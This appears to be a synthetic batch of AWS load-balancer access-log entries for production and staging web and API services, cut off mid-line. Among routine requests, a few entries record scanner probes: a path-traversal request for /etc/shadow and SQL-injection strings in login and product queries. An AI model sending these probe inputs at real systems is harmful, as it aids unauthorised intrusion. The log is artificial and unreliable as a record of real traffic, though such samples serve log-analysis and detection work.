arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c995-0912b77e874842308480c1cb" "-" "-" 3 2024-11-01T01:16:53.102697Z "forward" "-" "-" "10.0.10.118:443" "200" "-" "-" +https 2024-11-01T01:16:54.558745Z prod-web-alb 241.63.229.116:18581 10.0.215.148:443 0.036054 0.423182 0.033131 302 302 884 2731 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c996-3c9a4d2183b741c0b8af587a" "prod-web-alb.example.com" "-" 9 2024-11-01T01:16:54.558745Z "forward" "-" "-" "10.0.215.148:443" "302" "-" "-" +https 2024-11-01T01:16:56.405362Z prod-web-alb 4.141.220.24:28104 10.0.68.182:443 0.008772 0.114402 0.086809 200 200 429 1143 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c998-cca04cc5ee8a476dbeeeb4e3" "prod-web-alb.example.com" "-" 2 2024-11-01T01:16:56.405362Z "forward" "-" "-" "10.0.68.182:443" "200" "-" "-" +https 2024-11-01T01:16:56.663306Z prod-web-alb 244.249.221.63:45004 10.0.29.43:443 0.087792 0.449588 0.035052 302 302 879 2335 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c998-6bcd997958734b3a8232bc22" "prod-web-alb.example.com" "-" 4 2024-11-01T01:16:56.663306Z "forward" "-" "-" "10.0.29.43:443" "302" "-" "-" +https 2024-11-01T01:16:58.523715Z staging-alb 204.153.87.237:22861 114.46.165.246:80 0.009538 0.160705 0.060963 200 200 708 14381 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c99a-dfba2f22570841368043026c" "staging-alb.example.com" "-" 1 2024-11-01T01:16:58.523715Z "forward" "-" "-" "114.46.165.246:80" "200" "-" "-" +https 2024-11-01T01:16:59.540312Z prod-web-alb 185.181.160.192:29526 10.0.127.221:443 0.059088 0.484693 0.037590 403 403 245 12242 "GET /images/../../../../etc/shadow HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c99b-127ffcbb46634a85bbd07a63" "-" "-" 10 2024-11-01T01:16:59.540312Z "forward" "-" "-" "10.0.127.221:443" "403" "-" "-" +https 2024-11-01T01:17:01.056697Z prod-api-alb 22.102.190.114:37257 10.0.182.138:443 0.043771 0.133006 0.021163 200 200 946 3982 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c99d-e9953725234d4c45a40ef131" "prod-api-alb.example.com" "-" 3 2024-11-01T01:17:01.056697Z "forward" "-" "-" "10.0.182.138:443" "200" "-" "-" +http 2024-11-01T01:17:02.049261Z staging-alb 31.97.140.186:13267 94.115.148.49:8080 0.040276 0.064422 0.100102 302 302 878 6813 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c99e-50830a55553944359f6bba4f" "staging-alb.example.com" "-" 7 2024-11-01T01:17:02.049261Z "forward" "-" "-" "94.115.148.49:8080" "302" "-" "-" +https 2024-11-01T01:17:02.370347Z prod-web-alb 106.181.251.136:26869 10.0.26.160:443 0.062114 0.192074 0.076716 200 200 256 6563 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c99e-40b4487323fa45baac81f9a5" "prod-web-alb.example.com" "-" 3 2024-11-01T01:17:02.370347Z "forward" "-" "-" "10.0.26.160:443" "200" "-" "-" +https 2024-11-01T01:17:02.499147Z prod-api-alb 241.4.149.179:17762 10.0.173.70:443 0.017833 0.048079 0.024247 302 302 825 4445 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c99e-65f260f4fb044bb1a9d4e4c8" "prod-api-alb.example.com" "-" 3 2024-11-01T01:17:02.499147Z "forward" "-" "-" "10.0.173.70:443" "302" "-" "-" +https 2024-11-01T01:17:03.256120Z prod-api-alb 213.30.21.175:32411 10.0.231.191:443 0.028014 0.051061 0.078241 200 200 938 10178 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c99f-fa4e784d44404886a2add8e5" "prod-api-alb.example.com" "-" 10 2024-11-01T01:17:03.256120Z "forward" "-" "-" "10.0.231.191:443" "200" "-" "-" +https 2024-11-01T01:17:04.210134Z prod-api-alb 174.224.75.165:20659 10.0.226.242:443 0.004798 0.240594 0.054020 200 200 596 8077 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c9a0-3635c1809aa8476b8a058c64" "prod-api-alb.example.com" "-" 8 2024-11-01T01:17:04.210134Z "forward" "-" "-" "10.0.226.242:443" "200" "-" "-" +https 2024-11-01T01:17:05.733968Z prod-web-alb 9.8.59.226:38322 10.0.173.53:443 0.079461 0.301970 0.080740 301 301 539 1770 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c9a1-3db5cfffac024ec89e0bde6f" "prod-web-alb.example.com" "-" 10 2024-11-01T01:17:05.733968Z "forward" "-" "-" "10.0.173.53:443" "301" "-" "-" +https 2024-11-01T01:17:06.365001Z prod-web-alb 45.155.205.170:37000 10.0.246.133:443 0.094049 0.344406 0.027876 403 403 305 13722 "POST /login?id=1'-- HTTP/1.1" "zgrab/0.x" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c9a2-4cb1a84187dd435ab56411d6" "-" "-" 7 2024-11-01T01:17:06.365001Z "forward" "-" "-" "10.0.246.133:443" "403" "-" "-" +https 2024-11-01T01:17:07.574190Z prod-api-alb 73.92.105.190:37665 10.0.238.168:443 0.095252 0.147763 0.078688 301 301 407 11523 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c9a3-e79d83e5f430416caf3bc075" "prod-api-alb.example.com" "-" 9 2024-11-01T01:17:07.574190Z "forward" "-" "-" "10.0.238.168:443" "301" "-" "-" +https 2024-11-01T01:17:08.374930Z prod-web-alb 174.144.221.44:36026 10.0.189.70:443 0.049669 0.356283 0.056539 404 404 678 2129 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c9a4-3e6cbae106e54eb4b814640b" "prod-web-alb.example.com" "-" 10 2024-11-01T01:17:08.374930Z "forward" "-" "-" "10.0.189.70:443" "404" "-" "-" +https 2024-11-01T01:17:10.050652Z prod-web-alb 29.56.61.232:54129 10.0.5.99:443 0.031908 0.085951 0.093884 200 200 669 4186 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c9a6-98ea65823041446792f9a33a" "-" "-" 0 2024-11-01T01:17:10.050652Z "forward" "-" "-" "10.0.5.99:443" "200" "-" "-" +https 2024-11-01T01:17:10.210163Z staging-alb 16.1.17.21:59423 155.221.210.200:443 0.109114 0.500815 0.058712 200 200 689 8103 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c9a6-f5753b1f557a4f82b238bb9c" "staging-alb.example.com" "-" 9 2024-11-01T01:17:10.210163Z "forward" "-" "-" "155.221.210.200:443" "200" "-" "-" +https 2024-11-01T01:17:10.694365Z prod-api-alb 247.162.195.15:32739 10.0.45.183:443 0.045032 0.279416 0.087699 404 404 899 6247 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c9a6-673e7a4c2a0445e19c996a18" "prod-api-alb.example.com" "-" 5 2024-11-01T01:17:10.694365Z "forward" "-" "-" "10.0.45.183:443" "404" "-" "-" +https 2024-11-01T01:17:11.321296Z staging-alb 220.3.202.144:20685 228.101.37.114:443 0.048563 0.378203 0.080633 200 200 594 6584 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c9a7-40e31d04f9a0444fb3e3f13b" "staging-alb.example.com" "-" 2 2024-11-01T01:17:11.321296Z "forward" "-" "-" "228.101.37.114:443" "200" "-" "-" +https 2024-11-01T01:17:12.198223Z prod-api-alb 23.60.88.140:25898 10.0.195.142:443 0.097751 0.170332 0.034430 404 404 527 13855 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c9a8-6c41c3c30bcb45cda6021841" "prod-api-alb.example.com" "-" 1 2024-11-01T01:17:12.198223Z "forward" "-" "-" "10.0.195.142:443" "404" "-" "-" +https 2024-11-01T01:17:13.146293Z staging-alb 31.131.149.38:57850 87.79.187.137:443 0.109604 0.099216 0.033250 200 200 836 11565 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c9a9-2cbb2623e07649baa1a1d421" "staging-alb.example.com" "-" 8 2024-11-01T01:17:13.146293Z "forward" "-" "-" "87.79.187.137:443" "200" "-" "-" +https 2024-11-01T01:17:14.798896Z prod-web-alb 83.82.9.227:37253 10.0.158.17:443 0.028160 0.202654 0.066242 200 200 567 2420 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c9aa-08b4b703e4ce408f9023d722" "prod-web-alb.example.com" "-" 6 2024-11-01T01:17:14.798896Z "forward" "-" "-" "10.0.158.17:443" "200" "-" "-" +https 2024-11-01T01:17:15.919124Z prod-web-alb 53.129.245.134:64601 10.0.248.181:443 0.067534 0.476077 0.013482 404 404 441 2530 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c9ab-0b0a444ac8774344adf4286f" "prod-web-alb.example.com" "-" 1 2024-11-01T01:17:15.919124Z "forward" "-" "-" "10.0.248.181:443" "404" "-" "-" +http 2024-11-01T01:17:16.705020Z staging-alb 81.176.107.115:20294 29.167.27.189:80 0.031375 0.261353 0.032021 200 200 942 11515 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c9ac-055b436621cc4143b5c20f7e" "staging-alb.example.com" "-" 7 2024-11-01T01:17:16.705020Z "forward" "-" "-" "29.167.27.189:80" "200" "-" "-" +https 2024-11-01T01:17:18.381311Z prod-api-alb 70.211.245.179:11866 10.0.128.154:443 0.066288 0.274383 0.067187 302 302 439 1143 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c9ae-e53210893f2c4182bc12ea30" "prod-api-alb.example.com" "-" 7 2024-11-01T01:17:18.381311Z "forward" "-" "-" "10.0.128.154:443" "302" "-" "-" +http 2024-11-01T01:17:19.334625Z staging-alb 6.44.68.106:25913 182.138.3.160:443 0.060740 0.303640 0.015239 404 404 108 1318 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c9af-79e881a9f2da43c5bf7db0d6" "staging-alb.example.com" "-" 9 2024-11-01T01:17:19.334625Z "forward" "-" "-" "182.138.3.160:443" "404" "-" "-" +https 2024-11-01T01:17:20.277249Z prod-web-alb 123.14.19.60:30812 10.0.43.149:443 0.051519 0.114196 0.054386 200 200 890 1463 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c9b0-408ca6e67c864387abb9b305" "prod-web-alb.example.com" "-" 8 2024-11-01T01:17:20.277249Z "forward" "-" "-" "10.0.43.149:443" "200" "-" "-" +http 2024-11-01T01:17:21.276500Z staging-alb 235.56.122.201:59543 176.147.62.50:80 0.004510 0.605994 0.090144 404 404 553 13473 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c9b1-48823c34924e42b9a86e0b0b" "staging-alb.example.com" "-" 8 2024-11-01T01:17:21.276500Z "forward" "-" "-" "176.147.62.50:80" "404" "-" "-" +https 2024-11-01T01:17:23.195344Z prod-web-alb 228.173.8.11:18596 10.0.21.115:443 0.091253 0.292346 0.056768 200 200 493 1770 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c9b3-d8786567644f4eae996da447" "prod-web-alb.example.com" "-" 5 2024-11-01T01:17:23.195344Z "forward" "-" "-" "10.0.21.115:443" "200" "-" "-" +https 2024-11-01T01:17:23.676304Z staging-alb 193.27.228.71:51239 132.245.207.114:8080 0.149330 0.253768 0.043329 500 500 980 9547 "GET /api/products?category=1' OR '1'='1 HTTP/1.1" "gobuster/3.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c9b3-5e909ddc6b4e45639bb324d3" "-" "-" 10 2024-11-01T01:17:23.676304Z "forward" "-" "-" "132.245.207.114:8080" "500" "-" "-" +https 2024-11-01T01:17:25.510929Z staging-alb 96.106.182.36:33729 233.84.66.135:80 0.096653 0.636460 0.126315 200 200 282 1394 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c9b5-96745c2269784727a6b83c24" "staging-alb.example.com" "-" 2 2024-11-01T01:17:25.510929Z "forward" "-" "-" "233.84.66.135:80" "200" "-" "-" +https 2024-11-01T01:17:25.832665Z prod-api-alb 85.168.124.216:20673 10.0.173.2:443 0.039835 0.281008 0.082764 200 200 160 2248 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c9b5-0ffc25d975e144f8a2bccdf1" "prod-api-alb.example.com" "-" 0 2024-11-01T01:17:25.832665Z "forward" "-" "-" "10.0.173.2:443" "200" "-" "-" +https 2024-11-01T01:17:26.711010Z prod-web-alb 58.237.158.135:61522 10.0.177.88:443 0.063370 0.073213 0.027430 200 200 484 3612 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c9b6-a0ae897a1a634500ab63415b" "prod-web-alb.example.com" "-" 6 2024-11-01T01:17:26.711010Z "forward" "-" "-" "10.0.177.88:443" "200" "-" "-" +https 2024-11-01T01:17:28.697527Z prod-web-alb 118.96.140.98:23171 10.0.107.161:443 0.070918 0.051929 0.089605 404 404 222 4542 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c9b8-ebda583f215049e0a2a11992" "prod-web-alb.example.com" "-" 9 2024-11-01T01:17:28.697527Z "forward" "-" "-" "10.0.107.161:443" "404" "-" "-" +https 2024-11-01T01:17:29.682057Z prod-api-alb 179.112.95.148:48506 10.0.18.111:443 0.002356 0.336367 0.010093 301 301 369 9507 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c9b9-e7523d5378674f5384b6ada1" "prod-api-alb.example.com" "-" 1 2024-11-01T01:17:29.682057Z "forward" "-" "-" "10.0.18.111:443" "301" "-" "-" +https 2024-11-01T01:17:31.565844Z prod-web-alb 224.245.179.243:55486 10.0.116.5:443 0.011299 0.476404 0.011744 200 200 740 11306 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c9bb-ddd85c5552804b5db278660f" "prod-web-alb.example.com" "-" 6 2024-11-01T01:17:31.565844Z "forward" "-" "-" "10.0.116.5:443" "200" "-" "-" +https 2024-11-01T01:17:32.701922Z staging-alb 131.194.81.108:33287 66.98.222.11:443 0.057455 0.600445 0.079591 301 301 491 11785 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c9bc-5fec5002a5b64f6dbce94036" "-" "-" 8 2024-11-01T01:17:32.701922Z "forward" "-" "-" "66.98.222.11:443" "301" "-" "-" +https 2024-11-01T01:17:34.661265Z staging-alb 139.123.99.158:21197 216.9.4.80:80 0.045622 0.065376 0.119535 301 301 635 5228 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c9be-c24aef7b9b964a6a81cf86fd" "staging-alb.example.com" "-" 9 2024-11-01T01:17:34.661265Z "forward" "-" "-" "216.9.4.80:80" "301" "-" "-" +https 2024-11-01T01:17:34.769587Z prod-web-alb 99.7.118.101:43051 10.0.119.211:443 0.031790 0.017831 0.062328 200 200 82 3195 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c9be-b530b3524de24fadbc8e04d3" "prod-web-alb.example.com" "-" 8 2024-11-01T01:17:34.769587Z "forward" "-" "-" "10.0.119.211:443" "200" "-" "-" +https 2024-11-01T01:17:35.715395Z staging-alb 122.95.165.45:52597 170.171.57.55:8080 0.010079 0.115449 0.041584 200 200 461 10376 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c9bf-232aa080e3e74810ab3cc065" "staging-alb.example.com" "-" 3 2024-11-01T01:17:35.715395Z "forward" "-" "-" "170.171.57.55:8080" "200" "-" "-" +http 2024-11-01T01:17:37.602996Z staging-alb 145.33.222.108:20102 56.110.76.242:8080 0.093750 0.184753 0.004541 302 302 326 2880 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c9c1-f06b58c0c38e4e4389ac4497" "staging-alb.example.com" "-" 7 2024-11-01T01:17:37.602996Z "forward" "-" "-" "56.110.76.242:8080" "302" "-" "-" +https 2024-11-01T01:17:38.989349Z prod-api-alb 164.47.111.248:35277 10.0.154.253:443 0.065913 0.487994 0.083175 200 200 95 10951 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c9c2-462305be0e1b470398347c39" "prod-api-alb.example.com" "-" 8 2024-11-01T01:17:38.989349Z "forward" "-" "-" "10.0.154.253:443" "200" "-" "-" +https 2024-11-01T01:17:40.986661Z prod-web-alb 193.27.228.155:46237 10.0.98.48:443 0.048369 0.339475 0.024949 500 500 394 7166 "GET /debug/pprof HTTP/1.1" "Nmap Scripting Engine (https://nmap.org/book/nse.html)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c9c4-a33c3850183448ef95157acc" "-" "-" 6 2024-11-01T01:17:40.986661Z "forward" "-" "-" "10.0.98.48:443" "500" "-" "-" +http 2024-11-01T01:17:42.335901Z staging-alb 52.26.29.189:59477 18.63.158.15:8080 0.093306 0.622112 0.040255 200 200 411 6165 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c9c6-57c4582fe330489cae066d51" "staging-alb.example.com" "-" 9 2024-11-01T01:17:42.335901Z "forward" "-" "-" "18.63.158.15:8080" "200" "-" "-" +https 2024-11-01T01:17:44.010611Z staging-alb 174.134.255.218:28762 102.254.124.150:8080 0.096282 0.213527 0.056746 200 200 554 2931 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c9c8-55b29a10e34140c48427daf4" "staging-alb.example.com" "-" 5 2024-11-01T01:17:44.010611Z "forward" "-" "-" "102.254.124.150:8080" "200" "-" "-" +https 2024-11-01T01:17:45.570310Z prod-web-alb 156.87.253.29:59378 10.0.11.92:443 0.032935 0.461368 0.007850 404 404 508 292 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c9c9-f1615857397c41febe05b5ab" "prod-web-alb.example.com" "-" 7 2024-11-01T01:17:45.570310Z "forward" "-" "-" "10.0.11.92:443" "404" "-" "-" +https 2024-11-01T01:17:46.835483Z staging-alb 219.36.128.128:48400 129.47.70.237:443 0.119621 0.522038 0.055471 301 301 458 7371 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" 